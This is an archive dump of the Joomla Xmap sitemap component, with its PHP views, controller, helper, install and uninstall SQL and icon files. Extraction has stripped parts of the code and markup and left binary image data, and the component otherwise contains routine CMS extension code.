ContentHelperQuery::orderbySecondary($articleOrderby, $articleOrderDate) . ', '; $primary = ContentHelperQuery::orderbyPrimary($categoryOrderby); $orderby = $primary . ' ' . $secondary . ' a.created DESC '; $this->setState('list.ordering', $orderby); $this->setState('list.direction', ''); // Create a new query object. $query = parent::getListQuery(); // Filter by frontpage. if ($this->getState('filter.frontpage')) { $query->join('INNER', '#__content_frontpage AS fp ON fp.content_id = a.id'); } // Filter by categories if (is_array($featuredCategories = $this->getState('filter.frontpage.categories'))) { $query->where('a.catid IN (' . implode(',', $featuredCategories) . ')'); } return $query; } } PKs>\(( com_xmap/images/xmap-favicon.pngnuW+APNG  IHDRatEXtSoftwareAdobe ImageReadyqe<IDATxڤS_HSQνww]ڒE5S 2R(@z=,-!,/F6Z]N{wm}g=z9~;0 fa`v!Qo6gqI&B@4AG-1~e^tmF’تh:3+ hb6p} i#*/ƃU@8: ݁A Q m5YqxH)Q2 ? Dz9xQ!|t2Vc:$12tvkXQX_:{\dJ`hj*}*lh HM{npz[œ?$E$dE^YxyԽ_6UУ1\rnA f %eIvrj88~dYWC_K)ClI<U Jf5}Ŕr%o!*G&j'z뾡}߆E-)-vr_< Q~+X=:ʗ>Yugˢz:CV5(k>G{zt9@A "W~lO4E}>~ 5Jȿ-IENDB`PKs>\t  com_xmap/images/sitemap-icon.pngnuW+APNG  IHDR00WtEXtSoftwareAdobe ImageReadyqe<IDATxb?PL Cz` <~/ Hw|QD=u-dyRH#9ģRlZAP_vh ,Ih4  ,Cέh$K#]ʛϾRܨS&9H>/_̶3RcUЛG3.~oYt-*1y<@Z"쬚8<rtXAL B|ogsj!0#Q6RRzrT?LLf f'QC7hP5TM[SYkJ [DĘVT5.ȱb0X#%+SڰF=0R=&K05hG/FIENDB`PKs>\)com_xmap/images/.htaccessnuW+A Order allow,deny Deny from all PKs>\6com_xmap/images/index.htmlnuW+APKs>\Jcom_xmap/xmap.phpnuW+Aexecute(JRequest::getVar('task')); $controller->redirect(); PKs>\)com_xmap/.htaccessnuW+A Order allow,deny Deny from all PKs>\6com_xmap/index.htmlnuW+APKs>\6com_xmap/elements/index.htmlnuW+APKs>\~~com_xmap/elements/sitemap.phpnuW+AsetQuery($sql); $rows = $db->loadObjectList(); $html = JHTML::_('select.genericlist',$rows,$fieldName,'','id','name',$value); return $html; } } PKs>\)com_xmap/elements/.htaccessnuW+A Order allow,deny Deny from all PKs>\D%com_xmap/controller.phpnuW+Aget('id') || !in_array($viewName, array('html', 'xml')) || $viewLayout == 'xsl') { $cachable = false; } if ($viewName) { $document = JFactory::getDocument(); $viewType = $document->getType(); $view = $this->getView($viewName, $viewType, '', array('base_path' => $this->basePath, 'layout' => $viewLayout)); $sitemapmodel = $this->getModel('Sitemap'); $view->setModel($sitemapmodel, true); } $safeurlparams = array('id' => 'INT', 'itemid' => 'INT', 'uid' => 'CMD', 'action' => 'CMD', 'property' => 'CMD', 'value' => 'CMD'); parent::display($cachable, $safeurlparams); return $this; } } PKs>\6com_xmap/install/index.htmlnuW+APKs>\:{99)com_xmap/install/uninstall.postgresql.sqlnuW+Adrop table "#__xmap_items"; drop table "#__xmap_sitemap";PKs>\0k99#com_xmap/install/uninstall.utf8.sqlnuW+Adrop table `#__xmap_items`; drop table `#__xmap_sitemap`;PKs>\jtt!com_xmap/install/install.utf8.sqlnuW+ACREATE TABLE IF NOT EXISTS `#__xmap_sitemap` ( `id` int(11) NOT NULL AUTO_INCREMENT, `title` varchar(255) DEFAULT NULL, `alias` varchar(255) DEFAULT NULL, `introtext` text DEFAULT NULL, `metadesc` text DEFAULT NULL, `metakey` text DEFAULT NULL, `attribs` text DEFAULT NULL, `selections` text DEFAULT NULL, `excluded_items` text DEFAULT NULL, `is_default` int(1) DEFAULT 0, `state` int(2) DEFAULT NULL, `access` int DEFAULT NULL, `created` TIMESTAMP DEFAULT CURRENT_TIMESTAMP, `count_xml` int(11) DEFAULT NULL, `count_html` int(11) DEFAULT NULL, `views_xml` int(11) DEFAULT NULL, `views_html` int(11) DEFAULT NULL, `lastvisit_xml` int(11) DEFAULT NULL, `lastvisit_html` int(11) DEFAULT NULL, PRIMARY KEY (`id`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8; CREATE TABLE IF NOT EXISTS `#__xmap_items` ( `uid` varchar(100) NOT NULL, `itemid` int(11) NOT NULL, `view` varchar(10) NOT NULL, `sitemap_id` int(11) NOT NULL, `properties` varchar(300) DEFAULT NULL, PRIMARY KEY (`uid`,`itemid`,`view`,`sitemap_id`), KEY `uid` (`uid`,`itemid`), KEY `view` (`view`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8PKs>\+X1'com_xmap/install/install.postgresql.sqlnuW+ACREATE TABLE "#__xmap_sitemap" ( "id" serial NOT NULL, "title" character varying(255) DEFAULT NULL, "alias" character varying(255) DEFAULT NULL, "introtext" text DEFAULT NULL, "metadesc" text DEFAULT NULL, "metakey" text DEFAULT NULL, "attribs" text DEFAULT NULL, "selections" text DEFAULT NULL, "excluded_items" text DEFAULT NULL, "is_default" integer DEFAULT 0, "state" integer DEFAULT NULL, "access" integer DEFAULT NULL, "created" timestamp without time zone DEFAULT '1970-01-01 00:00:00' NOT NULL, "count_xml" integer DEFAULT NULL, "count_html" integer DEFAULT NULL, "views_xml" integer DEFAULT NULL, "views_html" integer DEFAULT NULL, "lastvisit_xml" integer DEFAULT NULL, "lastvisit_html" integer DEFAULT NULL, PRIMARY KEY ("id") ); CREATE TABLE "#__xmap_items" ( "uid" character varying(100) NOT NULL, "itemid" integer NOT NULL, "view" character varying(10) NOT NULL, "sitemap_id" integer NOT NULL, "properties" varchar(300) DEFAULT NULL, PRIMARY KEY ("uid","itemid","view","sitemap_id") ); CREATE INDEX "#__xmap_items_idx_uid" on "#__xmap_items" ("uid", "itemid"); CREATE INDEX "#__xmap_items_idx_view" on "#__xmap_items" ("view"); PKs>\)com_xmap/install/.htaccessnuW+A Order allow,deny Deny from all PKs>\7?.%com_xmap/views/sitemaps/view.html.phpnuW+AgetLayout() !== 'modal') { XmapHelper::addSubmenu('sitemaps'); } $this->state = $this->get('State'); $this->items = $this->get('Items'); $this->pagination = $this->get('Pagination'); $version = new JVersion; $message = $this->get('ExtensionsMessage'); if ( $message ) { JFactory::getApplication()->enqueueMessage($message); } // Check for errors. if (count($errors = $this->get('Errors'))) { JError::raiseError(500, implode("\n", $errors)); return false; } // We don't need toolbar in the modal window. if ($this->getLayout() !== 'modal') { if (version_compare($version->getShortVersion(), '3.0.0', '<')) { $tpl = 'legacy'; } $this->addToolbar(); } parent::display($tpl); } /** * Display the toolbar * * @access private */ protected function addToolbar() { $state = $this->get('State'); $doc = JFactory::getDocument(); $version = new JVersion; JToolBarHelper::addNew('sitemap.add'); JToolBarHelper::custom('sitemap.edit', 'edit.png', 'edit_f2.png', 'JTOOLBAR_EDIT', true); $doc->addStyleDeclaration('.icon-48-sitemap {background-image: url(components/com_xmap/images/sitemap-icon.png);}'); JToolBarHelper::title(JText::_('XMAP_SITEMAPS_TITLE'), 'sitemap.png'); JToolBarHelper::custom('sitemaps.publish', 'publish.png', 'publish_f2.png', 'JTOOLBAR_Publish', true); JToolBarHelper::custom('sitemaps.unpublish', 'unpublish.png', 'unpublish_f2.png', 'JTOOLBAR_UNPUBLISH', true); if (version_compare($version->getShortVersion(), '3.0.0', '>=')) { JToolBarHelper::custom('sitemaps.setdefault', 'featured.png', 'featured_f2.png', 'XMAP_TOOLBAR_SET_DEFAULT', true); } else { JToolBarHelper::custom('sitemaps.setdefault', 'default.png', 'default_f2.png', 'XMAP_TOOLBAR_SET_DEFAULT', true); } if ($state->get('filter.published') == -2) { JToolBarHelper::deleteList('', 'sitemaps.delete','JTOOLBAR_DELETE'); } else { JToolBarHelper::trash('sitemaps.trash','JTOOLBAR_TRASH'); } JToolBarHelper::divider(); if (class_exists('JHtmlSidebar')){ JHtmlSidebar::addFilter( JText::_('JOPTION_SELECT_PUBLISHED'), 'filter_published', JHtml::_('select.options', JHtml::_('jgrid.publishedOptions'), 'value', 'text', $this->state->get('filter.published'), true) ); JHtmlSidebar::addFilter( JText::_('JOPTION_SELECT_ACCESS'), 'filter_access', JHtml::_('select.options', JHtml::_('access.assetgroups'), 'value', 'text', $this->state->get('filter.access')) ); $this->sidebar = JHtmlSidebar::render(); } } } PKs>\)!com_xmap/views/sitemaps/.htaccessnuW+A Order allow,deny Deny from all PKs>\6"com_xmap/views/sitemaps/index.htmlnuW+APKs>\n ##/com_xmap/views/sitemaps/tmpl/default_legacy.phpnuW+Aitems); $baseUrl = JUri::root(); $version = new JVersion; ?>
    items as $i => $item) : $now = JFactory::getDate()->toUnix(); if ( !$item->lastvisit_html ) { $htmlDate = JText::_('Date_Never'); }elseif ( $item->lastvisit_html > ($now-3600)) { // Less than one hour $htmlDate = JText::sprintf('Date_Minutes_Ago',intval(($now-$item->lastvisit_html)/60)); } elseif ( $item->lastvisit_html > ($now-86400)) { // Less than one day $hours = intval (($now-$item->lastvisit_html)/3600 ); $htmlDate = JText::sprintf('Date_Hours_Minutes_Ago',$hours,($now-($hours*3600)-$item->lastvisit_html)/60); } elseif ( $item->lastvisit_html > ($now-259200)) { // Less than three days $days = intval(($now-$item->lastvisit_html)/86400); $htmlDate = JText::sprintf('Date_Days_Hours_Ago',$days,intval(($now-($days*86400)-$item->lastvisit_html)/3600)); } else { $date = new JDate($item->lastvisit_html); $htmlDate = $date->format('Y-m-d H:i'); } if ( !$item->lastvisit_xml ) { $xmlDate = JText::_('Date_Never'); } elseif ( $item->lastvisit_xml > ($now-3600)) { // Less than one hour $xmlDate = JText::sprintf('Date_Minutes_Ago',intval(($now-$item->lastvisit_xml)/60)); } elseif ( $item->lastvisit_xml > ($now-86400)) { // Less than one day $hours = intval (($now-$item->lastvisit_xml)/3600 ); $xmlDate = JText::sprintf('Date_Hours_Minutes_Ago',$hours,($now-($hours*3600)-$item->lastvisit_xml)/60); } elseif ( $item->lastvisit_xml > ($now-259200)) { // Less than three days $days = intval(($now-$item->lastvisit_xml)/86400); $xmlDate = JText::sprintf('Date_Days_Hours_Ago',$days,intval(($now-($days*86400)-$item->lastvisit_xml)/3600)); } else { $date = new JDate($item->lastvisit_xml); $xmlDate = $date->format('Y-m-d H:i'); } ?>
    state->get('list.direction'), $this->state->get('list.ordering')); ?> state->get('list.direction'), $this->state->get('list.ordering')); ?> state->get('list.direction'), $this->state->get('list.ordering')); ?>
    ()

    state->get('list.direction'), $this->state->get('list.ordering')); ?>
    pagination->getListFooter(); ?>
    id); ?> escape($item->title); ?> is_default == 1) : ?> getShortVersion(), '3.0.0', '>=')): ?> <?php echo JText::_('Default'); ?> state): ?> [] [] []
    (escape($item->alias); ?>)
    state, $i, 'sitemaps.'); ?> escape($item->access_level); ?> count_html .' / '.$item->views_html. ' / ' . $htmlDate; ?> count_xml .' / '.$item->views_xml. ' / ' . $xmlDate; ?> id; ?>
    PKs>\%com_xmap/views/sitemaps/tmpl/form.phpnuW+APKs>\ET&com_xmap/views/sitemaps/tmpl/modal.phpnuW+Aitems); ?>
    items as $i => $item) : $now = JFactory::getDate()->toUnix(); if ( !$item->lastvisit_html ) { $htmlDate = JText::_('Date_Never'); }elseif ( $item->lastvisit_html > ($now-3600)) { // Less than one hour $htmlDate = JText::sprintf('Date_Minutes_Ago',intval(($now-$item->lastvisit_html)/60)); } elseif ( $item->lastvisit_html > ($now-86400)) { // Less than one day $hours = intval (($now-$item->lastvisit_html)/3600 ); $htmlDate = JText::sprintf('Date_Hours_Minutes_Ago',$hours,($now-($hours*3600)-$item->lastvisit_html)/60); } elseif ( $item->lastvisit_html > ($now-259200)) { // Less than three days $days = intval(($now-$item->lastvisit_html)/86400); $htmlDate = JText::sprintf('Date_Days_Hours_Ago',$days,intval(($now-($days*86400)-$item->lastvisit_html)/3600)); } else { $date = new JDate($item->lastvisit_html); $htmlDate = $date->toFormat('%Y-%m-%d %H:%M'); } if ( !$item->lastvisit_xml ) { $xmlDate = JText::_('Date_Never'); } elseif ( $item->lastvisit_xml > ($now-3600)) { // Less than one hour $xmlDate = JText::sprintf('Date_Minutes_Ago',intval(($now-$item->lastvisit_xml)/60)); } elseif ( $item->lastvisit_xml > ($now-86400)) { // Less than one day $hours = intval (($now-$item->lastvisit_xml)/3600 ); $xmlDate = JText::sprintf('Date_Hours_Minutes_Ago',$hours,($now-($hours*3600)-$item->lastvisit_xml)/60); } elseif ( $item->lastvisit_xml > ($now-259200)) { // Less than three days $days = intval(($now-$item->lastvisit_xml)/86400); $xmlDate = JText::sprintf('Date_Days_Hours_Ago',$days,intval(($now-($days*86400)-$item->lastvisit_xml)/3600)); } else { $date = new JDate($item->lastvisit_xml); $xmlDate = $date->toFormat('%Y-%m-%d %H:%M'); } ?>
    state->get('list.direction'), $this->state->get('list.ordering')); ?> state->get('list.direction'), $this->state->get('list.ordering')); ?> state->get('list.direction'), $this->state->get('list.ordering')); ?>
    ()

    state->get('list.direction'), $this->state->get('list.ordering')); ?>
    pagination->getListFooter(); ?>
    escape($item->title); ?> state, $i, 'sitemaps.'); ?> escape($item->access_level); ?> count_html .' / '.$item->views_html. ' / ' . $htmlDate; ?> count_xml .' / '.$item->views_xml. ' / ' . $xmlDate; ?> id; ?>
    PKs>\6'com_xmap/views/sitemaps/tmpl/index.htmlnuW+APKs>\)&com_xmap/views/sitemaps/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKs>\o5%5%(com_xmap/views/sitemaps/tmpl/default.phpnuW+Aitems); $baseUrl = JUri::root(); $version = new JVersion; ?>
    sidebar)): ?>
    sidebar; ?>
    items as $i => $item) : $now = JFactory::getDate()->toUnix(); if ( !$item->lastvisit_html ) { $htmlDate = JText::_('Date_Never'); }elseif ( $item->lastvisit_html > ($now-3600)) { // Less than one hour $htmlDate = JText::sprintf('Date_Minutes_Ago',intval(($now-$item->lastvisit_html)/60)); } elseif ( $item->lastvisit_html > ($now-86400)) { // Less than one day $hours = intval (($now-$item->lastvisit_html)/3600 ); $htmlDate = JText::sprintf('Date_Hours_Minutes_Ago',$hours,($now-($hours*3600)-$item->lastvisit_html)/60); } elseif ( $item->lastvisit_html > ($now-259200)) { // Less than three days $days = intval(($now-$item->lastvisit_html)/86400); $htmlDate = JText::sprintf('Date_Days_Hours_Ago',$days,intval(($now-($days*86400)-$item->lastvisit_html)/3600)); } else { $date = new JDate($item->lastvisit_html); $htmlDate = $date->format('Y-m-d H:i'); } if ( !$item->lastvisit_xml ) { $xmlDate = JText::_('Date_Never'); } elseif ( $item->lastvisit_xml > ($now-3600)) { // Less than one hour $xmlDate = JText::sprintf('Date_Minutes_Ago',intval(($now-$item->lastvisit_xml)/60)); } elseif ( $item->lastvisit_xml > ($now-86400)) { // Less than one day $hours = intval (($now-$item->lastvisit_xml)/3600 ); $xmlDate = JText::sprintf('Date_Hours_Minutes_Ago',$hours,($now-($hours*3600)-$item->lastvisit_xml)/60); } elseif ( $item->lastvisit_xml > ($now-259200)) { // Less than three days $days = intval(($now-$item->lastvisit_xml)/86400); $xmlDate = JText::sprintf('Date_Days_Hours_Ago',$days,intval(($now-($days*86400)-$item->lastvisit_xml)/3600)); } else { $date = new JDate($item->lastvisit_xml); $xmlDate = $date->format('Y-m-d H:i'); } ?>
    state->get('list.direction'), $this->state->get('list.ordering')); ?> state->get('list.direction'), $this->state->get('list.ordering')); ?> state->get('list.direction'), $this->state->get('list.ordering')); ?>
    ()

    state->get('list.direction'), $this->state->get('list.ordering')); ?>
    pagination->getListFooter(); ?>
    id); ?> escape($item->title); ?> is_default == 1) : ?> getShortVersion(), '3.0.0', '>=')): ?> <?php echo JText::_('Default'); ?> state): ?> [] [] []
    (escape($item->alias); ?>)
    state, $i, 'sitemaps.'); ?> escape($item->access_level); ?> count_html .' / '.$item->views_html. ' / ' . $htmlDate; ?> count_xml .' / '.$item->views_xml. ' / ' . $xmlDate; ?> id; ?>
    PKs>\6com_xmap/views/index.htmlnuW+APKs>\)com_xmap/views/.htaccessnuW+A Order allow,deny Deny from all PKs>\vݞVV$com_xmap/views/sitemap/view.html.phpnuW+Astate = $this->get('State'); $this->item = $this->get('Item'); $this->form = $this->get('Form'); $version = new JVersion; // Check for errors. if (count($errors = $this->get('Errors'))) { JError::raiseError(500, implode("\n", $errors)); return false; } JHTML::stylesheet('administrator/components/com_xmap/css/xmap.css'); // Convert dates from UTC $offset = $app->getCfg('offset'); if (intval($this->item->created)) { $this->item->created = JHtml::date($this->item->created, '%Y-%m-%d %H-%M-%S', $offset); } $this->_setToolbar(); if (version_compare($version->getShortVersion(), '3.0.0', '<')) { $tpl = 'legacy'; } parent::display($tpl); JRequest::setVar('hidemainmenu', true); } /** * Display the view * * @access public */ function navigator($tpl = null) { require_once(JPATH_COMPONENT_SITE . '/helpers/xmap.php'); $app = JFactory::getApplication(); $this->state = $this->get('State'); $this->item = $this->get('Item'); # $menuItems = XmapHelper::getMenuItems($item->selections); # $extensions = XmapHelper::getExtensions(); // Check for errors. if (count($errors = $this->get('Errors'))) { JError::raiseError(500, implode("\n", $errors)); return false; } JHTML::script('mootree.js', 'media/system/js/'); JHTML::stylesheet('mootree.css', 'media/system/css/'); $this->loadTemplate('class'); $displayer = new XmapNavigatorDisplayer($state->params, $this->item); parent::display($tpl); } function navigatorLinks($tpl = null) { require_once(JPATH_COMPONENT_SITE . '/helpers/xmap.php'); $link = urldecode(JRequest::getVar('link', '')); $name = JRequest::getCmd('e_name', ''); $Itemid = JRequest::getInt('Itemid'); $this->item = $this->get('Item'); $this->state = $this->get('State'); $menuItems = XmapHelper::getMenuItems($item->selections); $extensions = XmapHelper::getExtensions(); $this->loadTemplate('class'); $nav = new XmapNavigatorDisplayer($state->params, $item); $nav->setExtensions($extensions); $this->list = array(); // Show the menu list if (!$link && !$Itemid) { foreach ($menuItems as $menutype => &$menu) { $menu = new stdclass(); #$menu->id = 0; #$menu->menutype = $menutype; $node = new stdClass; $node->uid = "menu-" . $menutype; $node->menutype = $menutype; $node->ordering = $item->selections->$menutype->ordering; $node->priority = $item->selections->$menutype->priority; $node->changefreq = $item->selections->$menutype->changefreq; $node->browserNav = 3; $node->type = 'separator'; if (!$node->name = $nav->getMenuTitle($menutype, @$menu->module)) { $node->name = $menutype; } $node->link = '-menu-' . $menutype; $node->expandible = true; $node->selectable = false; //$node->name = $this->getMenuTitle($menutype,@$menu->module); // get the mod_mainmenu title from modules table $this->list[] = $node; } } else { $parent = new stdClass; if ($Itemid) { // Expand a menu Item $items = &JSite::getMenu(); $node = & $items->getItem($Itemid); if (isset($menuItems[$node->menutype])) { $parent->name = $node->title; $parent->id = $node->id; $parent->uid = 'itemid' . $node->id; $parent->link = $link; $parent->type = $node->type; $parent->browserNav = $node->browserNav; $parent->priority = $item->selections->{$node->menutype}->priority; $parent->changefreq = $item->selections->{$node->menutype}->changefreq; $parent->menutype = $node->menutype; $parent->selectable = false; $parent->expandible = true; } } else { $parent->id = 1; $parent->link = $link; } $this->list = $nav->expandLink($parent); } parent::display('links'); exit; } /** * Display the toolbar * * @access private */ function _setToolbar() { $user = JFactory::getUser(); $isNew = ($this->item->id == 0); JToolBarHelper::title(JText::_('XMAP_PAGE_' . ($isNew ? 'ADD_SITEMAP' : 'EDIT_SITEMAP')), 'article-add.png'); JToolBarHelper::apply('sitemap.apply', 'JTOOLBAR_APPLY'); JToolBarHelper::save('sitemap.save', 'JTOOLBAR_SAVE'); JToolBarHelper::save2new('sitemap.save2new'); if (!$isNew) { JToolBarHelper::save2copy('sitemap.save2copy'); } JToolBarHelper::cancel('sitemap.cancel', 'JTOOLBAR_CLOSE'); } } PKs>\) com_xmap/views/sitemap/.htaccessnuW+A Order allow,deny Deny from all PKs>\ +com_xmap/views/sitemap/tmpl/edit_legacy.phpnuW+A
    form->getLabel('id'); ?> form->getInput('id'); ?> form->getLabel('title'); ?> form->getInput('title'); ?> form->getLabel('alias'); ?> form->getInput('alias'); ?> form->getLabel('state'); ?> form->getInput('state'); ?> form->getLabel('access'); ?> form->getInput('access'); ?>
    form->getLabel('introtext'); ?>
    form->getInput('introtext'); ?>
    item->id, array('useCookie' => 1)); ?> form->getInput('selections'); ?> form->getFieldsets('attribs'); foreach ($fieldSets as $name => $fieldSet) : echo JHtml::_('sliders.panel', JText::_($fieldSet->label), $name . '-options'); if (isset($fieldSet->description) && trim($fieldSet->description)) : echo '

    ' . $this->escape(JText::_($fieldSet->description)) . '

    '; endif; ?>
      form->getFieldset($name) as $field) : ?>
    • label; ?> input; ?>
    form->getInput('is_default'); ?>
    PKs>\)%com_xmap/views/sitemap/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKs>\JD$com_xmap/views/sitemap/tmpl/edit.phpnuW+A
    form->getLabel('title'); ?>
    form->getInput('title'); ?>
    form->getLabel('alias'); ?>
    form->getInput('alias'); ?>
    form->getLabel('state'); ?>
    form->getInput('state'); ?>
    form->getLabel('access'); ?>
    form->getInput('access'); ?>
    form->getLabel('introtext'); ?>
    form->getInput('introtext'); ?>
    form->getInput('selections'); ?>
    form->getFieldsets('attribs'); foreach ($fieldSets as $name => $fieldSet) : ?>
    description) && trim($fieldSet->description)) : echo '

    ' . $this->escape(JText::_($fieldSet->description)) . '

    '; endif; foreach ($this->form->getFieldset($name) as $field) : ?>
    label; ?>
    input; ?>
    form->getInput('is_default'); ?>
    PKs>\V%__)com_xmap/views/sitemap/tmpl/navigator.phpnuW+AaddScriptDeclaration(' var tree; var autotext = \'\'; insertLink = function (){ var link = $(\'f_link\').get(\'value\'); var text = $(\'f_text\').get(\'value\'); var title = $(\'f_title\').get(\'value\'); var cssstyle = $(\'f_cssstyle\').get(\'value\'); var cssclass = $(\'f_cssclass\').get(\'value\'); if (link != \'\' && text != \'\') { var extra =\'\'; if (title != \'\') { extra = extra + \' title=\'+title.replace(\'"\',\'"\')+\'"\'; } if (cssclass != \'\') { extra = extra + \' class=\'+cssclass.replace(\'"\',\'"\')+\'"\'; } if (cssstyle != \'\') { extra = extra + \' style=\'+cssstyle.replace(\'"\',\'"\')+\'"\'; } var tag = ""+text+""; window.parent.jInsertEditorText(tag, "'.htmlspecialchars($name).'"); } window.parent.SqueezeBox.close(); }; window.addEvent("domready",function(){ tree = new MooTreeControl({ div: \'xmap-nav_tree\', mode: \'files\', grid: true, theme: \'../media/media/images/mootree.gif\', onSelect: function (node,state) { if (typeof node.data.link != \'undefined\' && node.data.selectable == \'true\') { document.adminForm.link.value = node.data.link; if (document.adminForm.text.value == autotext ) { document.adminForm.text.value = node.text; autotext = node.text; } } } },{ text: \'Home\', open: true }); tree.root.load(\'index.php?option=com_xmap&task=navigator-links&sitemap='.$this->item->id.'&e_name='.$name.'&tmpl=component\'); }); '); ?>
      PKs>\6&com_xmap/views/sitemap/tmpl/index.htmlnuW+APKs>\33/com_xmap/views/sitemap/tmpl/navigator_class.phpnuW+A_list=array(); $this->view='navigator'; parent::__construct( $config, $sitemap); } function printNode( &$node ) { if (!isset($node->selectable )) { $node->selectable=true; } // For extentions that doesn't set this property as this is new in Xmap 1.2.3 if (!isset($node->expandible )) { $node->expandible = true; } if ( empty($this->_list[$node->uid]) ) { // Avoid duplicated items $this->_list[$node->uid] = $node; } return false; } function &expandLink(&$parent) { $items = &JSite::getMenu(); $extensions = &$this->_extensions; $rows = null; if (strpos($parent->link,'-menu-') === 0 ) { $menutype = str_replace('-menu-','',$parent->link); // Get Menu Items $rows = $items->getItems('menutype', $menutype); } elseif ($parent->id) { $rows = $items->getItems('parent_id', $parent->id); } if ( $rows ) { foreach ($rows as $item) { if ($item->parent_id == $parent->id) { $node = new stdclass; $node->name = $item->title; $node->id = $item->id; $node->uid = 'itemid'.$item->id; $node->link = $item->link; $node->expandible = true; $node->selectable=true; // Prepare the node link XmapHelper::prepareMenuItem($node); if ( $item->home ) { $node->link = JURI::root(); } elseif (substr($item->link,0,9) == 'index.php' && $item->type != 'url' ) { if ($item->type == 'menulink') {// For Joomla 1.5 SEF compatibility $params = new JParameter($item->params); $node->link = 'index.php?Itemid=' . $params->get('menu_item'); } elseif ( strpos($item->link,'Itemid=') === FALSE ){ $node->link = 'index.php?Itemid=' . $node->id; } } elseif ($item->type == 'separator') { $node->selectable=false; } $this->printNode($node); // Add to the internal list } } } if ($parent->id) { $option = null; if ( preg_match('#^/?index.php.*option=(com_[^&]+)#',$parent->link,$matches) ) { $option = $matches[1]; } $Itemid = JRequest::getInt('Itemid'); if (!$option && $Itemid) { $item = $items->getItem($Itemid); $link_query = parse_url( $item->link ); parse_str( html_entity_decode($link_query['query']), $link_vars); $option = JArrayHelper::getValue($link_vars,'option',''); if ( $option ) { $parent->link = $item->link; } } if ( $option ) { if ( !empty($extensions[$option]) ) { $parent->uid = $option; $className = 'xmap_'.$option; $result = call_user_func_array(array($className, 'getTree'),array(&$this,&$parent,$extensions[$option]->params)); } } } return $this->_list;; } function &getParam($arr, $name, $def) { $var = JArrayHelper::getValue( $arr, $name, $def, '' ); return $var; } } PKs>\1I))/com_xmap/views/sitemap/tmpl/navigator_links.phpnuW+A list as $node) { $load = 'index.php?option=com_xmap&task=navigator-links&sitemap='.$this->item->id.'&e_name='.$name.(isset($node->id)?'&Itemid='.$node->id:'').(isset($node->link)?'&link='.urlencode($node->link):'').'&tmpl=component'; ?> expandible?" openicon=\"_open\" icon=\"_closed\" load=\"$load\"":' icon="_doc"'); ?> uid="uid; ?>" link="link); ?>" selectable="selectable?'true':'false'); ?>" /> PKs>\6!com_xmap/views/sitemap/index.htmlnuW+APKs>\6 com_xmap/helpers/html/index.htmlnuW+APKs>\F0fb11com_xmap/helpers/html/xmap.phpnuW+A\)com_xmap/helpers/html/.htaccessnuW+A Order allow,deny Deny from all PKs>\6com_xmap/helpers/index.htmlnuW+APKs>\)com_xmap/helpers/.htaccessnuW+A Order allow,deny Deny from all PKs>\މ com_xmap/helpers/xmap.phpnuW+A $menuOptions) { // Initialize variables. // Get the menu items as a tree. $query = $db->getQuery(true); $query->select( 'n.id, n.title, n.alias, n.path, n.level, n.link, ' . 'n.type, n.params, n.home, n.parent_id' . ',n.'.$db->quoteName('browserNav') ); $query->from('#__menu AS n'); $query->join('INNER', ' #__menu AS p ON p.lft = 0'); $query->where('n.lft > p.lft'); $query->where('n.lft < p.rgt'); $query->order('n.lft'); // Filter over the appropriate menu. $query->where('n.menutype = ' . $db->quote($menutype)); // Filter over authorized access levels and publishing state. $query->where('n.published = 1'); $query->where('n.access IN (' . implode(',', (array) $user->getAuthorisedViewLevels()) . ')'); // Filter by language if ($app->getLanguageFilter()) { $query->where('n.language in ('.$db->quote(JFactory::getLanguage()->getTag()).','.$db->quote('*').')'); } // Get the list of menu items. $db->setQuery($query); $tmpList = $db->loadObjectList('id'); $list[$menutype] = array(); // Check for a database error. if ($db->getErrorNum()) { JError::raiseWarning(021, $db->getErrorMsg()); return array(); } // Set some values to make nested HTML rendering easier. foreach ($tmpList as $id => $item) { $item->items = array(); $params = new JRegistry($item->params); $item->uid = 'itemid'.$item->id; if (preg_match('#^/?index.php.*option=(com_[^&]+)#', $item->link, $matches)) { $item->option = $matches[1]; $componentParams = clone(JComponentHelper::getParams($item->option)); $componentParams->merge($params); //$params->merge($componentParams); $params = $componentParams; } else { $item->option = null; } $item->params = $params; if ($item->type != 'separator') { $item->priority = $menuOptions['priority']; $item->changefreq = $menuOptions['changefreq']; XmapHelper::prepareMenuItem($item); } else { $item->priority = null; $item->changefreq = null; } if ($item->parent_id > 1) { $tmpList[$item->parent_id]->items[$item->id] = $item; } else { $list[$menutype][$item->id] = $item; } } } return $list; } public static function &getExtensions() { static $list; jimport('joomla.html.parameter'); if ($list != null) { return $list; } $db = JFactory::getDBO(); $list = array(); // Get the menu items as a tree. $query = $db->getQuery(true); $query->select('*'); $query->from('#__extensions AS n'); $query->where('n.folder = \'xmap\''); $query->where('n.enabled = 1'); // Get the list of menu items. $db->setQuery($query); $extensions = $db->loadObjectList('element'); foreach ($extensions as $element => $extension) { if (file_exists(JPATH_PLUGINS . '/' . $extension->folder . '/' . $element. '/'. $element . '.php')) { require_once(JPATH_PLUGINS . '/' . $extension->folder . '/' . $element. '/'. $element . '.php'); $params = new JRegistry($extension->params); $extension->params = $params->toArray(); $list[$element] = $extension; } } return $list; } /** * Call the function prepareMenuItem of the extension for the item (if any) * * @param object Menu item object * * @return void */ public static function prepareMenuItem($item) { $extensions = XmapHelper::getExtensions(); if (!empty($extensions[$item->option])) { $className = 'xmap_' . $item->option; $obj = new $className; if (method_exists($obj, 'prepareMenuItem')) { $obj->prepareMenuItem($item,$extensions[$item->option]->params); } } } static function getImages($text,$max) { if (!isset($urlBase)) { $urlBase = JURI::base(); $urlBaseLen = strlen($urlBase); } $images = null; $matches = $matches1 = $matches2 = array(); // Look tags preg_match_all('/]*?(?:(?:[^>]*src="(?P[^"]+)")|(?:[^>]*alt="(?P[^"]+)")|(?:[^>]*title="(?P[^"]+)"))+[^>]*>/i', $text, $matches1, PREG_SET_ORDER); // Loog for <a> tags with href to images preg_match_all('/<a[^>]*?(?:(?:[^>]*href="(?P<src>[^"]+\.(gif|png|jpg|jpeg))")|(?:[^>]*alt="(?P<alt>[^"]+)")|(?:[^>]*title="(?P<title>[^"]+)"))+[^>]*>/i', $text, $matches2, PREG_SET_ORDER); $matches = array_merge($matches1,$matches2); if (count($matches)) { $images = array(); $count = count($matches); $j = 0; for ($i = 0; $i < $count && $j < $max; $i++) { if (trim($matches[$i]['src']) && (substr($matches[$i]['src'], 0, 1) == '/' || !preg_match('/^https?:\/\//i', $matches[$i]['src']) || substr($matches[$i]['src'], 0, $urlBaseLen) == $urlBase)) { $src = $matches[$i]['src']; if (substr($src, 0, 1) == '/') { $src = substr($src, 1); } if 